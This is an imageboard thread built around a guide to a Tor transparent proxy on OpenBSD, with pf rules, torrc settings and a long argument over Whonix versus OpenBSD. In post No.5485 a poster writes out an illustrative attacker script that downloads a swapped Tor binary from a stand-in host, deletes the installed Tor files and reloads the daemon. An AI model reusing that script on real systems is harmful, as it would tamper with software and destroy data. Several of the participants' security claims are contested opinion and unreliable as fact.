/g/ - Technology

install openbsd

[Make a Post]
[X]





Tor transparent proxy on OpenBSD Nanonymous No.4669 [D][U][F][S][L][A][C] >>4675 >>6008 >>6009 >>7281 >>7848
File: 0d3cf37d24f0574c921882ac563d973ffe1b13def84d08c7a56030e9fb3466b2.jpg (dl) (29.63 KiB)

A anon asked about Whonix security on other thread and I suggested OpenBSD instead. I thought this might be useful for other people, so here's how to make it route all trafic through Tor:
- Install Tor:

# pkg_add tor--

- Disable ICMP timestamps:

# echo "net.inet.icmp.tstamprepl=0" >> /etc/sysctl.conf

- Create a new loopback interface:

# ifconfig lo1 create up 127.0.0.2
# echo "inet 127.0.0.2" > /etc/hostname.lo1

- Make dns resolve to localhost:

# echo "supersede domain-name-servers 127.0.0.1;" > /etc/dhclient.conf

- Add this to /etc/tor/torrc:

AutomapHostsOnResolve 1
TransProxyType pf-divert
TransPort 9040 IsolateClientProtocol IsolateDestPort IsolateDestAddr
SocksPort 9050 IsolateClientProtocol IsolateDestPort IsolateDestAddr
DNSPort 53 IsolateClientProtocol IsolateDestPort IsolateDestAddr
Schedulers KISTLite

- Create a new /etc/pf.conf using these rules:

block all
non_tor = "{ 192.168.1.0/24 192.168.0.0/24 }"

match all scrub (no-df random-id reassemble tcp)
antispoof for egress inet
block return log on egress all

pass in quick on lo1 inet proto tcp all flags S/SA modulate state divert-to 127.0.0.1 port 9040
pass in quick on lo1 inet proto udp to port domain divert-to 127.0.0.1 port domain

pass quick on { lo0 lo1 }
block return in on ! lo0 proto tcp to port 6000:6010

pass out quick inet proto tcp user _tor flags S/SA modulate state
pass out quick inet proto udp to port domain route-to lo1
pass out quick inet to $non_tor
pass out inet proto tcp all route-to lo1


- Done. The next reboot it should already be working. If you use public wifi, don't forget to write "lladdr random" on your interface config to spoof mac address (read the hostname.if(5) man page). Don't forget disk encryption (read the FAQ about softraid-crypto). Also, you can raise securelevel and make the transparent proxy "permanent":

# echo "kern.securelevel=2" >> /etc/sysctl.conf

Nanonymous No.4671 [D]

hahaha t-thanks.. b-back to square one.

Nanonymous No.4675 [D] >>4676 >>4727

>>4669
>Schedulers KISTLite

I'm curious, why KISTLite over standard KIST? Wouldn't KIST be more efficient?

Nanonymous No.4676 [D]

>>4675
KIST is not supported on systems other than Linux. From man page:
>KIST will only work on Linux kernel version 2.6.39 or higher.
And KISTLite has nearly the same benefits, but works on OpenBSD:
>KISTLite will work on all kernels and operating systems, and the majority of the benefits of KIST are still realized with KISTLite.

Nanonymous No.4682 [D] >>4690

It's going to be a dusy getting this up on my laptop. I don't think its even compatible.I burned the iso file to a dvd and booted from disk,but I'm missing directory <cd0> and some other one :/. Basically not working. I'll try some other time, and since I can only do a single partition just makes things more crazy, wiping OS everytime I try to download OPENBSD. Are there specific laptops for openbsd?

I can get into the installation with the cli, but there some obstacles with missing directory.




Nanonymous No.4690 [D]

>>4682
>I'm missing directory <cd0>
What do you mean? It boots the DVD at least? You should see in the screen options like: (S)hell , (A)utomatic, (M)anual and so on. Just follow this FAQ:
https://www.openbsd.org/faq/faq4.html

Also, you can use flash drive too. Instead of using the iso, use the .fs. Here:
https://ftp.openbsd.org/pub/OpenBSD/snapshots/amd64/install65.fs

>Are there specific laptops for openbsd?

Most hardware work normally, even current Ryzen processors. Thinkpads in general have good support for openbsd too.

Nanonymous No.4727 [D] >>4728 >>4730

>>4675
>A anon asked about Whonix security on other thread and I suggested OpenBSD instead. I thought this might be useful for other people, so here's how to make it route all trafic through Tor:
I think the point of Whonix is that you isolate the Tor apps in a vm or container, you don't need to dedicate your entire system to Tor.

Since OpenBSD doesn't have containers or VMs or any concept of horizontal security it doesn't seem like a good replacement.

Also does OpenBSD have Tor Browser? Because stomping around the web with vanilla Firefox is not the same thing. Even if your IP is hidden they can correlate your activities with your unique browser config and the moment you drop the transparent proxying and use your real IP address now there's a link between your Tor and non-Tor identities.

Nanonymous No.4728 [D]

>>4727
yes it's a package

Nanonymous No.4730 [D][U][F] >>4735
File: 1b5e09069e7785317fd9584f42f2489c77baeb0bb602c90eb1307b8f12fdf1ad.jpg (dl) (90.34 KiB)

>>4727
>OpenBSD doesn't have containers
It doesn't need to, almost everything now uses pledge(2) and unveil(2).
>or VMs
If you want VMs, you can run it with vmd(8), even though it wouldn't add more security, since virtual machines on x86 run using microcode:
https://www.openbsd.org/faq/faq16.html

>Also does OpenBSD have Tor Browser?
It does:

# pkg_add tor-browser

>vanilla Firefox is not the same thing.
Pretty much is. TBB has very few patchs over firefox, with all the complexity/bugs/vulnerabilities in it included.
>unique browser config
True, but Links offers a spoofed http header that is the same of firefox.
>the moment you drop the transparent proxying
Same for any other system.

Nanonymous No.4735 [D] >>4743

>>4730
>It doesn't need to, almost everything now uses pledge(2) and unveil(2).
The difference is I as a user choose what goes into a container and what the restrictions are.
With pledge and unvail I need to depend on the software author to sandbox their shit correctly.
Sorry I know OpenBSD fans bet butthurt when they hear this but it's not comparable.

>even though it wouldn't add more security, since virtual machines on x86 run using microcode:
What? Your link doesn't say anything about microcode. I can't even guess what you mean.

>Pretty much is.
No it's not and this is important so listen. If you use the same uniquely identifiable browser with and without Tor then YOU ARE NOT ANONYMOUS. This is exactly the reason they killed Tor Button and created a dedicated Tor Browser instead.
https://blog.duszynski.eu/tor-ip-disclosure-through-http-301-cache-poisoning/

>It does:
That's good. If Tor Browser is available then use it.


Nanonymous No.4739 [D] >>4743

>running Tor in VMs
Even if it's for some reason not more secure, it probably does offer some extra protection against leaking a hardware fingerprint of some sort.

>You should really have one machine for clearnet and a different one Tor stuff. Using the same machine for both is probably not a good idea.

Nanonymous No.4740 [D] >>4743

>A anon asked about Whonix security on other thread and I suggested OpenBSD instead.
One important purpose of Whonix is to guarantee that your real IP address will not be leaked, even if the root account of the Whonix Workstation is compromised.
You will not have the same guarantee with this setup, even with OpenBSD's securelevel set to 2. The root user can edit sysctl.conf and reboot to a lower securelevel.
Also if you raise securelevel to 2 make sure to disable the in-kernel debugger in sysctl.conf as well.
https://man.openbsd.org/securelevel.7
>Because securelevel can be modified with the in-kernel debugger ddb(4), a convenient means of locking it off (if present) is provided at securelevels 1 and 2. This is accomplished by setting ddb.console and ddb.panic to 0 with the sysctl(8) utility.

Nanonymous No.4743 [D] >>4744 >>5485

>>4735
>what goes into a container and what the restrictions are.
What's the advantage of this over having everything privsep'd?
>Your link doesn't say anything about microcode
It doesn't, the link was about virtualization in openbsd.
About VM security: in x86 there's no separate processor to run virtualizations, as in SPARC. In x86 VMs run using microcode (VT-x and AMD-V) because it reduces hardware costs and uses less energy. This mean you rely on microcode correctness for your security and, as we have seem in these two last years, microcode is full of bugs.
Not even to say about bugs and complexity:
http://taviso.decsystem.org/virtsec.pdf
https://marc.info/?l=openbsd-misc&m=119318909016582&w=2
https://marc.info/?l=openbsd-misc&m=119326303217813&w=2

>If you use the same uniquely identifiable browser
And how do you think TBB is diferent? Please go read their patchs. There's nothing special about them:
https://gitweb.torproject.org/builders/tor-browser-build.git/tree/projects/tor-browser

BTW, I was looking again in the code, does anyone know what the fuck is this?
https://gitweb.torproject.org/tor-browser.git/tree/security/apps/privileged-package-root.der

About the article you linked, this uses persistent cache. Links browser doesn't have persistency like "modern" browser (such as Chrome Canary, as the author used in the article). If you want to be such, you can just disable caching on Links. Add this to ~/.links/links.cfg:

format_cache_size 0
memory_cache_size 0
image_cache_size 0
font_cache_size 0

>>4739
>hardware fingerprint
And what would be those? As I said, you should spoof the mac address with llrandom. Also, TCP timestamp will be randomized by pf "reassemble tcp" option.
>>4740
>root account of the Whonix Workstation is compromised.
I highly doubt Whonix disabled root completely and single user mode. Couldn't find anything about that.
>reboot to a lower securelevel
You would need to not just compromise root, but also reboot, as you said. If a attacker already has root, then it's game over. You can also use chflags to make it harder to change pf.conf:

# chflags schg /etc/pf.conf

>disable the in-kernel debugger
Good point. Thanks.

Nanonymous No.4744 [D] >>4745 >>4747 >>5489

>>4743
>I highly doubt Whonix disabled root completely and single user mode.
Ok, so you don't understand what Whonix is at all.
There are two VMs: the workstation and the gateway. Your VM setup ensures that all traffic in the workstation is routed through the gateway. The gateway torifies all traffic it receives.
Therefore, the only way to get the real IP of the user is to compromise the gateway VM or the hypervisor/host OS. That's why your IP won't leak even if the root account of the Whonix WORKSTATION is compromised.

Nanonymous No.4745 [D] >>4746 >>4747

>>4744
I understand how it works, I just don't think it works as you are trying to explain. The Tor client inside the gateway needs to run in some kernel, be it linux or *BSD.
>That's why your IP won't leak even if the root account of the Whonix WORKSTATION is compromised.
I'll ask again: the VM running the gateway has no root? Because if you compromise the gateway (or the workstation) and get root, you can just do whatever you want with the tor client, firewall rules and VM.
If it doesn't have root, please link me to some document where they explain it. I did a fast search and couldn't find anything talking about this.

Nanonymous No.4746 [D] >>4749

>>4745
>the VM running the gateway has no root?
I'm not sure, but that isn't relevant to anything I've said so far.
>if you compromise the gateway (or the workstation) and get root, you can just do whatever you want with the tor client, firewall rules and VM
The VM manager on the hypervisor/host OS disallows the workstation from connecting directly to the Internet. It creates a virtual LAN connecting the workstation and gateway and ensures that this is the only network the workstation has access to. The firewall rules on the workstation aren't responsible for preventing connections to clearnet, and nothing the workstation does should allow it to do so.

http://dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion/wiki/Connections_between_Whonix-Gateway_and_Whonix-Workstation#Basics
>By default, Whonix ™ assumes that Whonix-Gateway ™ and Whonix-Workstation ™ are connected by (virtual) LAN cable.
>Using a (virtual) cable enforces that Whonix-Workstation ™ can only connect through Whonix-Gateway ™.

I tried to find a better source to support my claims but the wiki isn't very clear on this matter. If I am wrong please correct me but this is my general understanding of how Whonix works.

Nanonymous No.4747 [D] >>4749 >>4750

>>4744
>What's the advantage of this over having everything privsep'd?
The differences is containers give the *user* control.
With coding tricks like privsep/pledge/unvail you are still cucked by the developers.

>In x86 VMs run using microcode (VT-x and AMD-V) because it reduces hardware costs and uses less energy.
Erm no actually virtualization extensions are to manage virtualizaed page tables in hardware instead of software. THAT is where all the bugs are and the reason Your Fearless Leader condemned virtualization in the past and why Qubes dropped paravirtualization all together. You linked this same email but you don't seem to understand the contents.
https://marc.info/?l=openbsd-misc&m=119318909016582
https://www.qubes-os.org/news/2016/07/21/new-hw-certification-for-q4/
Theo greenlit vmm exactly because hardware virtualization is more secure not less.

>And how do you think TBB is diferent?·
Yes because all Tor Browser users look the same on the outside so you can't deanonymize them by linking Tor and non-Tor browsing. Why is this so hard to understand?

>Please go read their patchs. There's nothing special about them:·
Dude you can't even understand an email. Stop larping.

>BTW, I was looking again in the code, does anyone know what the fuck is this?
Mozilla's code signing cert. Seriously stop larping.
https://hg.mozilla.org/integration/b2g-inbound/rev/9145ebe2c0c3

>I highly doubt Whonix disabled root
It doesn't matter. The point is getting root in Whonix doesn't break anonymity. In OpenBSD it does. But getting root on OpenBSD is arguably harder because vertical security is basically all they focus on.

>If a attacker already has root, then it's game over.
Not if you're in a VM. Pay attention.

>>4745
>if you compromise the gateway (or the workstation) and get root, you can just do whatever you want with the tor client, firewall rules and VM.
No because they're isolated. Only if you compromise the machine running the firewall do you break anonymity but by far the highest risk is the browser. That's why you need to isolate it from the firewall.


Nanonymous No.4749 [D] >>4750 >>4756 >>4769

>>4746
>that isn't relevant to anything I've said so far.
It is, because the gateway is running the Tor client.
>isallows the workstation from connecting directly to the Internet.
The primary OS needs some way to connect with the hardware and pass the packets to the VM.
>his is the only network the workstation has access to.
How is this enforced? By Virtual LAN? This isn't different than diverting the packets using a simple firewall.
>but the wiki isn't very clear on this matter
Exactly. Whonix documentation is trash.
>If I am wrong please correct me
I'm not sure you're wrong, but I don't see how using VM and VLAN is better than good privsep and firewall enforcement. It seems lazy.

>>4747
>you are still cucked by the developers.
What do you even mean? Unless you audit the entire code yourself, you have to trust developers in the first place. Also, this isn't /pol/ stop using their slangs.
>Your Fearless Leader
He is not my leader, I just give him some credit for his work. This guy has been coding secure software since before most of us here were even born.
>You linked this same email but you don't seem to understand the contents.
What part of the email I didn't understand?
>SLAT (EPT)
I don't see how this is different, except that now Intel has control over memory virt.
>"Certified Qubes Hardware"
>Hardware Certification Process: Pay the Qubes team a flat monthly rate.
>"There is currently no specific hardware (e.g., specific laptop model) that the Qubes team recommends for individual users"
Hah.

>Tor Browser users look the same
And I'm telling you TBB is not the only one that can use "camouflage". The most identifiable piece of information from browsers is the http-header. Other browsers can fake the same header TBB uses. As I said (for the third time now), Links has this option.
>Mozilla's code signing cert.
Nice, I honestly didn't know, that's why I asked.
>The point is getting root in Whonix doesn't break anonymity.
Getting root always is game over. If you get root on the gateway, you can just modify the Tor client. If you get root on the workstation, you can just modify the Virtual LAN.
>by far the highest risk is the browser.
I agree.

Nanonymous No.4750 [D]

>>4749 (me)
>>4747
Forgot to comment this part:
>Theo greenlit vmm exactly because hardware virtualization is more secure not less.
Probably not true. I didn't see anyone in the community saying this is a security feature. This was made most probably because it is easier to deploy VMs than buying new hardware to do actual physical isolation. One of the devs of vmm was reyk@ and he runs a network company.

Nanonymous No.4756 [D] >>4760

>>4749
>Whonix documentation is trash.
It has a lot of good info, but a better description of the virtual LAN in the "Design and Goals" page is needed.
>Getting root always is game over.
>If you get root on the workstation, you can just modify the Virtual LAN.
This is where I think you're wrong.
http://dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion/wiki/KVM#Importing_Whonix_.E2.84.A2_VM_Templates
>The supplied XML files serve as a description for libvirt, that tell it what properties a Whonix ™ machine and networking it should have.
>If the definition of the Whonix ™ internal network fails because the virtual bridge "virbr2" already exists, edit the internal_network*.xml file and change the name to one that doesn't exist
https://www.linux-kvm.org/page/Networking#Private_Virtual_Bridge
>Private Virtual Bridge
>Use case: You want to set up a private network between 2 or more virtual machines. This network won't be seen from the other virtual machines nor from the real network.
This is what I presume is the "virtual LAN". Again, this definitely should be more explicit in the wiki.


Nanonymous No.4760 [D][U][F] >>4769 >>4771 >>5493
File: b0f025914f13dbc546eaf729773cab51077e2ff1ba885f28e600d9e32887fa52.jpg (dl) (78.47 KiB)

>>4756
I started to read the wiki and there is some nice information, but some bits are very funny:
>Use multiple Tor Browser instances or Whonix-Workstation ***s
I can only imagine their thought process: "you know, this doesn't seem secure, so lets get this 16M loc piece of shit browser and run in multiple VMs, each running another complex code, so we can finally get more secure. Because, you know... you need to compartimentalize".

Picture absolutely related. What a clusterfuck.

http://dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion/wiki/System_Hardening_Checklist#Tor_Browser_Series_and_Settings

Nanonymous No.4769 [D] >>4771

>>4749
>Unless you audit the entire code yourself, you have to trust developers in the first place.
If I trust the developers of the container then I don't need to trust the developer of the shit I put inside.
With OpenBSD there are no containers, you need to explicitly trust everything you run.
privsep/pledge/unvail only lets the developers secure their own code but that doesn't help if you don't trust them in the first place.
That's the advantage of containers.

>What part of the email I didn't understand?
That Theo was only talking about paravirtualization but you tried to pass it off as evidence that hardware virtualization is insecure because you don't actually know what you're talking about.

>I don't see how this is different, except that now Intel has control over memory virt.
Intel always had control over virtual memory mapping. Before VT-x the MMU didn't know about virtual machines so you can't just pass virtual addresses from the guest straight to the MMU hardware because then the VM can overwrite host memory and break out. So hypervisors had all this extremely complicated MMU emulation code running inside ring0 to make virtual machines "secure". That's what Theo was talking about in his email and it's still the source of severe vulnerabilities in the oldest and most stable hypervisros like Xen. Getting Intel to do this in hardware removes all these bugs and you already trust Intel to do virtual memory mapping for your bare metal operating systems anyway so don't act like this is some big new Mossad backdoor or whatever stupid conspiracy shit you believe.

>And I'm telling you TBB is not the only one that can use "camouflage".
If you're the only person using it then it's not "camouflage". It's weird that you are such an expert on understanding the TBB patches and you think "http-headers" are the only thing that matters.

>If you get root on the workstation, you can just modify the Virtual LAN.
Obviously the workstation is not routable to the internet. The workstation can only access the gateway. That's the whole point. The traffic goes through Tor or it goes no where. Nothing inside the workstation including root has any control over that.

>Nice, I honestly didn't know, that's why I asked.
No you asked like "look at this suspicious thing I'm so clever to find and you pathetic cucks actually trust this insecure not OpenBSD crapware HAHAHAHA". Well that backfired didn't it.

>Hah.
And the fake humility is gone 3 seconds later.

>>4760
>I can only imagine their thought process:
Unfortunately your strawman falls apart if you quote the whole line instead of just the beginning.
>Use multiple Tor Browser instances or Whonix-Workstation ™s TO BETTER COMPARTMENTALIZE CONTEXTUAL IDENTITIES.

Nanonymous No.4771 [D] >>4772 >>4857

>>4769
>I don't need to trust the developer of the shit I put inside.
Pic related.
>you already trust Intel to do virtual memory mapping
I don't, because I don't use Intel. You assumption of security is based on Intel. It's already a fault reasoning.
>don't act like this is some big new Mossad backdoor or whatever stupid conspiracy shit you believe.
I never said anything about conspiracy. You're just projecting.
>you think "http-headers" are the only thing that matters
I never said it was the "only thing", but it is definetly the most important. Care to quote what are the other most important ones?
I've read the patchs. Basically what they do is disable javascript features, protocols and put everything in a 'sandbox'. All problems caused by firefox complexity in the first place. The only patch I saw that as something to look forward is the http-pipelining randomization, as explained here:
https://blog.torproject.org/experimental-defense-website-traffic-fingerprinting
>you're the only person using
Doesn't matter. Http header is the same.
>The workstation can only access the gateway.
The gateway runs the internet-stack drivers? It has root? This is what me and the other anon are searching on Whonix wiki but couldn't find yet.
>Well that backfired didn't it.
Hanlon's Razor. But, if you want to think that way, go ahead.
>And the fake humility is gone 3 seconds later.
Why do I need "humility" when I see something so ridiculous like "Certification Process: Pay the Qubes team a flat monthly rate"?
I just think it's funny they are asking money just to put it on Qubes pages.
>if you quote the whole line instead of just the beginning.
It doesn't change what I said. Running a complex software multiple times just to "compartimentalize" is completely idiotic. You can just add some kind of privsep to Tor and the browser and have the same isolation minus the milions of lines of code.
The pic of >>4760 is exactly what it feels like.


Nanonymous No.4772 [D][U][F]
File: d456d4cfc781c9732c7fc4a96919b0dcb9e229b93e22ff93b2df70a94fac87db.jpg (dl) (30.63 KiB)

>>4771
Forgot the pic.

Nanonymous No.4857 [D] >>4859

>>4771
> The gateway runs the internet-stack drivers?
If by that you mean the VLAN setup, then it's handled by the VM software. Neither the gateway nor the workstation can change that as far as I know.
> It has root?
Yes. Even passwordless root if you choose to enable it on Qubes-Whonix.
> Running a complex software multiple times just to "compartimentalize" is completely idiotic.
If you trust your VM software, it doesn't matter how bloated or vulnerable whatever you have inside is - the only vulnerability is breaking out of the VM. Running everything on the same machine requires trusting more moving parts.
> Doesn't matter. Http header is the same.
Http header isn't the only fingerprinting method, it's a pretty obvious one. The way the browser processes css, frames, html5 bullshit, even the timing, can all be used to track you. Essentially, the only way of being 100% sure you have the same fingerprint as a TBB user is by using TBB yourself.

t. not the anon you're replying to but a long time Whonix user

Nanonymous No.4858 [D] >>4859

op I finally got openbsd up and functioning. its good. absolutely bare bones. now i have a better grasp of the lingo and i'll begin configuring tor. thanks again senpai.

Nanonymous No.4859 [D] >>4888

>>4857
>it's handled by the VM software
So it basically push drivers/firmware to the userland, just like a microkernel? That is pretty sofisticated, but I'm not sure is is possible are you guys are explaining... not with linux kernel.
>Yes. Even passwordless root
If the VM has root then you can compromise the Tor client. That's my point.
>the only vulnerability is breaking out of the VM
Except if the VM is running on microcode no one knows. That's the case of x86.
>The way the browser processes css, frames, html5 bullshit, even the timing
Only for things that require a 'feedback'. For example, if the page has html5 video and the browser doesn't support, the server can 'see' you didn't download the video. So, in general, that's very minimal fingerprinting and the trade-off between bloated firefox vs simple Links is still very good. For a attacker exploit those minimal fingerprints he would require quite a lot of effort. Probably on intel agencies can do that, because they can subpoena ISPs.
>t. not the anon you're replying to but a long time Whonix user
Thanks. Nice to see other people contributing to discussion. Nanochan quite slow.

>>4858
You're welcome, 'kouhai'.

Nanonymous No.4888 [D] >>4897

>>4859
> So it basically push drivers/firmware to the userland
No, supported VM software is already capable of emulating VLANs, you just need to set it up (or have it automatically set up, on Qubes at least)
> If the VM has root then you can compromise the Tor client.
Indeed, altough the attacker would need a tor zeroday, since you're not supposed to run anything else other than tor on the gateway, or even touch it at all. If it is compromised, they're still contained in the VM, altough with full internet access if you don't have another traffic whitelisting VM between the gateway and your Internet capable VM/host.
>Probably on intel agencies can do that
Ad/tracking companies do a lot of malicious shit. I wouldn't put such things past them.

Nanonymous No.4897 [D]

>>4888
>Ad/tracking companies do a lot of malicious shit.
Glowers just need to tap those companies and they can save all the same information, the companies do all the work.

Nanonymous No.4981 [D] >>6392

This must be a joke:
https://www.qubes-os.org/news/2019/07/18/insurgo-privacybeast-qubes-certification/

Other companies already 'made' laptops with these requirements (such as Vikings, from Libreboot folks) and the Qubes team didn't put on their list of "approved". Most probably because they didn't paid the fee required. Pathetic.

Just buy a old x60/x220 and you can do everything this "Insurgo" does.
I'm not saying it is bad, though. My problem with this is that they didn't even said anything about other companies already doing the same thing.
For people that want something that just works, such as journalists, this is "Insurgo" seems great.
Also:
>Heads provisioned pre-delivery to protect against malicious interdiction.
Heads will not protect against interdiction. Someone can just flash a new ROM with a SPI flash and no one would know. They should send the SHA-512 hash in their website order, so people can dump the firmware with flashrom and compute the hash themselves.

Nanonymous No.4985 [D] >>4993

Tor transparent proxying is working fine for clearnet addresses, but it doesn't function for onion addresses (connection timeout). Wat do

Nanonymous No.4993 [D]

>>4985
Did you follow exactly what is written in the OP? Paste your torrc here, please:

$ doas cat /etc/tor/torrc

Nanonymous No.5002 [D] >>5004

## Configuration file for a typical Tor user
## Last updated 22 December 2017 for Tor 0.3.2.8-rc.
## (may or may not work for much older or much newer versions of Tor.)
##
## Lines that begin with "## " try to explain what's going on. Lines
## that begin with just "#" are disabled commands: you can enable them
## by removing the "#" symbol.
##
## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,
## for more options you can use in this file.
##
## Tor will look for this file in various places based on your platform:
## https://www.torproject.org/docs/faq#torrc

SOCKSPort 9050 IsolateClientProtocol IsolateDestPort IsolateDestAddr
TransPort 9040 IsolateClientProtocol IsolateDestPort IsolateDestAddr
HTTPTunnelPort 9080 IsolateClientProtocol IsolateDestPort IsolateDestAddr
DNSPort 53 IsolateClientProtocol IsolateDestPort IsolateDestAddr

AutomapHostsOnResolve 1
TransProxyType pf-divert
Schedulers KISTLite

SafeSocks 1
AllowNonRFC953Hostnames 0
PathsNeededToBuildCircuits 0.9

## Logs go to stdout at level "notice" unless redirected by something
## else, like one of the below lines. You can have as many Log lines as
## you want.
##
## We advise using "notice" in most cases, since anything more verbose
## may provide sensitive information to an attacker who obtains the logs.
##
Log notice syslog

## Uncomment this to start the process in the background... or use
## --runasdaemon 1 on the command line. This is ignored on Windows;
## see the FAQ entry if you want Tor to run as an NT service.
RunAsDaemon 1

## The directory for keeping all the keys/etc. By default, we store
## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.
DataDirectory /var/tor

## Drop privileges for moar security xDDDD
User _tor
Sandbox 1

Nanonymous No.5004 [D] >>5010

>>5002
>Sandbox 1
This doesn't work on OpenBSD. Remove and restart Tor.
>AllowNonRFC953Hostnames 0
Remove that. Default is already zero.
>HTTPTunnelPort
Why? Tor works with SOCKS5 and, if you can't proxy through SOCKS5 because some software doesn't support it, the firewall (transparent proxy) will just redirect the request. Use torsocks for that and remove the HTTPTunnelPort.
>SafeSocks 1
Sometimes this config is bugged. If you do everything I said above and it still doesn't work, try to disable SafeSocks.

Another thing: your clock needs to be precise.
Here is what I do:
- Disable the pf.conf temporarily
- Change the clock to UTC:

$ doas ln -fs /usr/share/zoneinfo/UTC /etc/localtime

- Write this to your /etc/ntpd.conf

listen on 127.0.0.1
servers pool.ntp.org
sensor *

- Then run this:

$ doas ntpd -sd

- Wait some seconds and quit (Ctrl + C).

This will syncronize the clock.
If your machine supports it, you can also use HPET (reboot the machine after this change and repeat the ntpd process):

$ doas sysctl kern.timecounter.hardware=acpihpet0

Nanonymous No.5010 [D] >>5017

>>5004
None of this has any effect. My clock was inaccurate by 1 hour due to me changing the motherboard battery a few days ago, but now it's accurate and that doesn't help.
I think the pf configuration may be the problem.

# destinations you don't want routed through Tor
non_tor = "{ 0.0.0.0/8 10.0.0.0/8 100.64.0.0/10 127.0.0.0/8 169.254.0.0/16 172.16.0.0/12 192.0.0.0/24 192.0.2.0/24 192.168.0.0/16 192.88.99.0/24 198.18.0.0/15 198.51.100.0/24 203.0.113.0/24 224.0.0.0/4 240.0.0.0/4 255.255.255.255/32 }"

# Tor's TransPort
trans_port = "9040"

match in all scrub (no-df random-id reassemble tcp)
antispoof for egress inet
block return log on egress all

pass in quick on lo1 inet proto tcp all flags S/SA modulate state divert-to 127.0.0.1 port $trans_port
pass in quick on lo1 inet proto udp to port domain divert-to 127.0.0.1 port domain

# uncomment the following line if you want to use hidden services
pass out quick on lo0 inet proto tcp to 127.192.0.0/10 route-to lo1

pass quick on { lo0 lo1 }

# uncomment the following line if you need to be able to connect to this system
# from elsewhere on your $non_tor subnet
#pass in proto tcp from $non_tor to $non_tor port { 22 }

pass out quick inet proto tcp user _tor flags S/SA modulate state
pass out quick inet proto udp to port domain route-to lo1
pass out quick inet to $non_tor
pass out inet proto tcp all route-to lo1

Nanonymous No.5012 [D]

I think you're overdoing it with OpenBSD. Whonix offers torrification and isolation out-of-the-box. You can do whatever you want and not be scared of infecting your OS or getting hardware fingerprinted. If you're paranoid you can use Gateway on other machine (I don't know how to do it but it's possible).

Nanonymous No.5017 [D] >>5020

>>5010
So, first of all, you're not using the same pf rules I recommended in OP. Test the exact instructions in the OP before doing your own modification or else I can't help you because I can't know what you did in the system.
Add this to your torrc:

TransProxyType pf-divert

>$trans_port
This bugs sometimes. Please check if the port is really loaded in the rules:

$ pfctl -s rules

If it is not, just hardcode it (write the direct number instead of a alias).
>non_tor
Why did you add so many addresses? Just "192.168.1.0/24 192.168.0.0/24" is enough.
>uncomment the following line if you want to use hidden services
Why is this even here? Tor has a option if you want to block hidden services, this shouldn't be done inside the firewall.

Also, you're not blocking remote connections from Xenocara. As I said, use the rules in OP:

block return in on ! lo0 proto tcp to port 6000:6010

Nanonymous No.5020 [D] >>5021

>>5017
Rules in the OP don't work AT ALL. I can't use those.

Nanonymous No.5021 [D]

>>5020
Give more information. I'm using these exact same rules right now and it is working (I'm using 6.5 release).
Can you access internet at all? What software are you using? Did you set port 9050 SOCKS5? Is the dns pointing to localhost? Does Tor initialise normally? Is the internet connection working without Tor?
Btw, are you just testing using a VM or did you actually install OpenBSD? Because I'm not sure these configs will work on VM.
I can assure you the tutorial in the OP works fine, you just have to copy-paste. As I said, I'm using it right now without issues.

Nanonymous No.5399 [D] >>5411
openbsd is total fuckery. nope nope nope.

sage sage No.5411 [D]
>>5399
Go back to 8ch.

Nanonymous No.5469 [D] >>5470
So any guide for a whonix-like setup with vmm?

Nanonymous No.5470 [D][U][F] >>5471
File: ff81cec8c923efcb4531c723c7b0dbf661131de1735fc75de42b15e459bb6629.jpg (dl) (35.39 KiB)
>>5469
There's no reason to use vmm for that. Read the thread.
I do think, though, applying properly pledge and unveil to the Tor client would be very nice. You could ask on the mailing list if that would be possible for the port maintainer (pascal@) to could apply a patch for it...
https://cvsweb.openbsd.org/ports/net/tor/

Nanonymous No.5471 [D]
>>5470
>Read the thread.
I did and all I saw was fanboys either lacking any understanding of what the point of whonix is or (more likely) pretending to.
Is vmm not capable of such a setup? From the docs it seems like it should be.

Nanonymous No.5472 [D] >>5483
>>5371
>lacking any understanding
Explain then.
>Is vmm not capable of such a setup?
Probably is. You have to do basically as the OP tutorial, but instead of routing to Tor ports you use the vmm interface. But there's no point in doing that, since a simple rule in pf will do the same thing.

Nanonymous No.5483 [D] >>5485
>>5472
If someone got to execute arbitrary code on such a set up, wouldn't it suffice to execute the openbsd alternative of `ip addr`? Even if there's a way (I'm pretty sure there is) of preventing a user from executing such a command, it's still hard to tracks all these little things. And still, the advisory would be able to know a lot about your system.
With whonix however you don't need to think about every detail, if you need access to something outside the vm you have to explicitly allow it first, from the host of course. And most of the time you don't need anything besides accessing one or two folders on the host. Needless to say the vm adds another barrier: "just" getting root access on the vm where the browser runs wouldn't give the attacker much info.
Also, whonix uses an isolating proxy, not a transparent one like OP.

Nanonymous No.5485 [D][U][F] >>5488 >>5489
File: 2b2157653dcc467a828d310bfcf57744b9ffa07c6ea6c3d684e7cfc29de062ec.jpg (dl) (117.65 KiB)
>>5483
I already answered the same questions you did in >>4743
But let's do it again:
>execute arbitrary code
If you execute arbitrary code on the VM you will be fucked the same way. The attacker could simply modify the Tor client to enable them to see your real IP.
>preventing a user from executing such a command
With the OP setup the attacker would need to find a exploit in the pf firewall and disable/modify it. Also, as I said before, most of openbsd base system is now privsep'd with pledge and unveil.
>"just" getting root access on the vm where the browser runs wouldn't give the attacker much info.
Getting root is always game over.
I don't get why you guys can't understand it. Do you think VM is a magick trick for security?
The attacker could easily replace the Tor binary with another one modified if he had root access. Or he could drop the firewall, open any door he wanted and a simple TCP request would reveal your real IP. Example using openbsd (linux would be the same process, but using some different commands):

#/bin/sh
ftp https://example.com/tor.gz -o -
rm -rf /usr/local/bin/tor* /var/tor
cp tor.gz /usr/local/bin/
gunzip /usr/local/bin/tor.gz
pkill -SIGHUP tor

You wouldn't even know someone modified your Tor VM and would be like 2 seconds to run the script.
Virtual machines does not defeat the laws of reality, stop thinking it's the solution for security, it is not.

Nanonymous No.5488 [D] >>5491
>>5485
>If you execute arbitrary code on the VM you will be fucked the same way. The attacker could simply modify the Tor client to enable them to see your real IP.
Are you kidding? TOR runs on a different goddamn VM.
>With the OP setup the attacker would need to find a exploit in the pf firewall and disable/modify it. Also, as I said before, most of openbsd base system is now privsep'd with pledge and unveil.
Does firewall prevent the execution of that command? Does it prevent from getting sensitive hardware info?
>Do you think VM is a magick trick for security?
I'm starting to think it is. How else could one explain people not understanding it?

Nanonymous No.5489 [D] >>5491
>>5485
